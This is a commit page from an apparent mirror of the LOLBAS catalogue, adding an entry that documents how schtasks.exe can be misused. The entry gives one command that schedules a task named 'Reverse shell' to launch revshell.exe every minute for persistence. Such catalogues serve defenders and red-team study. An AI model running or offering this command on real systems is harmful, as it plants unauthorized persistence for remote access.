mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2025-01-27 14:01:04 +01:00
Schtasks
This commit is contained in:
parent
c103cb3677
commit
852f395f86
24
OSBinaries/Schtasks.md
Normal file
24
OSBinaries/Schtasks.md
Normal file
@ -0,0 +1,24 @@
|
|||||||
|
## schtasks.exe
|
||||||
|
|
||||||
|
* Functions: Execute, Persistence
|
||||||
|
|
||||||
|
```
|
||||||
|
schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr c:\some\directory\revshell.exe
|
||||||
|
```
|
||||||
|
|
||||||
|
Acknowledgements:
|
||||||
|
*
|
||||||
|
|
||||||
|
Code sample:
|
||||||
|
*
|
||||||
|
|
||||||
|
Resources:
|
||||||
|
* https://isc.sans.edu/forums/diary/Adding+Persistence+Via+Scheduled+Tasks/23633/
|
||||||
|
|
||||||
|
Full path:
|
||||||
|
```
|
||||||
|
c:\windows\system32\schtasks.exe
|
||||||
|
```
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
Create a recurring task to provide persistence, eg. to start a reverse shell
|
Loading…
Reference in New Issue
Block a user